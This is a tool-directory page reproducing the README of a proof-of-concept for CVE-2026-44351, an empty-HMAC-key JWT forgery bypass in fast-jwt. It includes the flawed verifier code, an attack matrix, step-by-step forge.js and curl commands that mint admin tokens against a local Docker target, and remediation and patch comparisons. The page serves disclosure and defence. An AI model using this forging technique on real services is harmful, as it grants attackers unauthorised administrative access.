Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44351-poc — Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid. | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-44351-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCryptographyAuthenticationLearning & EducationRed TeamingAPI Security
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid.

371 month agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44351 — JWT Forgery via Empty Secret in fast-jwt

PoC of the authentication bypass (auth bypass) in fast-jwt (versions prior to 6.2.4) that allows any unauthenticated attacker to forge arbitrary JWTs and have them accepted as authentic by the target application.

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (Use of Weak Credentials) / CWE-287 (Improper Authentication) / CWE-326 (Inadequate Encryption Strength)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vulnerablefast-jwt < 6.2.4 (verified against 6.2.3)
Patch[email protected] — rejects empty HMAC keys with FAST_JWT_INVALID_KEY

📄 Detailed technical documentation (root cause with real code, attack anatomy, patch analysis): docs/CVE-2026-44351.md

Summary

fast-jwt allows passing an asynchronous function as the key resolver (key) — the typical pattern when integrating with a JWKS server:

const verify = createVerifier({
  // standard JWKS pattern documented by the library itself
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

When the incoming token's kid does not exist, that pattern returns ''. fast-jwt converts the empty string into a zero-length Buffer (Buffer.alloc(0)), passes it to crypto.createSecretKey (Node accepts it silently), and verifies the token's signature using HMAC with an empty key.

Since HMAC-SHA256(key='', input='<header>.<payload>') is computable by anyone, the attacker does not need to know the real secret: they forge a token with whatever claims they want (sub, admin, roles, scopes, iss, aud, …) and the verifier returns it as authentic.

It only affects the asynchronous key resolution path (function). The synchronous configuration key: '' is correctly rejected because createVerifier short-circuits on falsy values.

Technical detail of the flaw

The flaw lives in src/verifier.js. In the async key resolver flow:

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // branch !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // the HMAC family is assigned
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (no length check)
  verifyToken(currentKey, decoded, validationContext)
})

And the signature is validated with src/crypto.js:

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) works, the HMAC of the input is computable by the attacker, and the forged token is accepted.

Attack matrix (verified with [email protected])

Resolver shapealgorithmsHS256HS384HS512
async () => ''(default)✅ accepts✅ accepts✅ accepts
(d, cb) => cb(null, '')(default)✅ accepts✅ accepts✅ accepts
async d => keys[d.header.kid] || ''(default)✅ accepts✅ accepts✅ accepts
async () => ''['HS256','HS384','HS512']✅ accepts✅ accepts✅ accepts
async () => ''['HS256','RS256']✅ acceptsINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Red Team step by step (100% manual exploitation)

The attack is executed by hand: the only artifact is forge.js, which crafts the JWT signed with an empty key. Sending and validation are done with curl.

Step 0 — Bring up the target infrastructure (Docker)

docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target ready

Docker is only used to run the vulnerable target, not to exploit it. The rest of the attack is manual.

Step 1 — Reconnaissance

Identify a real JWT from the app (for example from an authenticated request) and inspect its header/payload without validating the signature:

node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

Points to validate:

  • The header exposes a kid → the app resolves keys by kid (possibly JWKS).
  • If the protected endpoint rejects a broken kid with 401 but does not present invalid algo/invalid key, the resolver probably does keys[kid] || ''.

Step 2 — Forge the JWT (empty secret)

node forge.js                          # token on screen + ready curl command
node forge.js -o /tmp/jwt.txt          # saves the token to a file
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

The script always signs the chosen {alg, typ, kid} header and payload using HMAC-SHA* with an empty key (secret: ""), without knowing the app's real secret.

Step 3 — Manual sending of the token

With the token copied (or read from the file):

TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

Expected response if the target is vulnerable:

HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

Step 4 — Validate / contrast

CaseCommandResult
No tokencurl -si http://localhost:3000/admin401 Unauthorized
Invalid tokencurl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
Forged tokencurl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + admin access

The bypass is reproducible by changing claims and repeating steps 2–3 (post-exploitation: escalate to role, scopes, another sub, etc.).


Validation demos (optional)

Quick comparison between the vulnerable and patched versions:

npm run demo        # [email protected] -> forged token ACCEPTED
npm run fixed       # [email protected] -> forged token REJECTED (FAST_JWT_INVALID_KEY)

Also in Docker:

docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

Remediation

  • Update to [email protected] or higher: prepareKeyOrSecret rejects HMAC keys of zero length with FAST_JWT_INVALID_KEY.
  • In the asynchronous resolver, do not return ''/Buffer.alloc(0) as a fallback: return undefined/null and treat that case as a key resolution error.
  • In already compromised deployments, restart the processes or use cache: false during the transition: the verification cache (by default 1000 entries / 600s TTL) may retain previously accepted forged tokens.
  • Defense in depth: apply the RFC 2104 recommendation (HMAC key with length ≥ hash output size).

Frontend (real app mode)

The server also exposes an administration console (public/) so that the exploitation can be seen on a real app: corporate login, dashboard with claims, admin access panel, and an integrated Red Team view.

node server.js            # or again: docker compose up -d --build server
open http://localhost:3000

Demo accounts:

Download Tool